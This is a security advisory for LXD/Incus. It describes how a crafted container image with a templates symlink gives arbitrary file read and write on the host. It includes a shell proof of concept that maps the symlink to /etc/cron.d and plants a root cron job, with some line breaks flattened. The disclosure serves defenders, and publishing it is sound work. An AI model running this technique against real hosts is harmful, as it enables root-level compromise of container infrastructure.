GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Below, we map the templates directory to /etc/cron.d on the host, but it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x8664 creationdate: 1 properties: description: PoC templates symlink host afrw EOF

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

read #incus config template show afrw-image-templates-symlink $FILENAME

write printf " root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.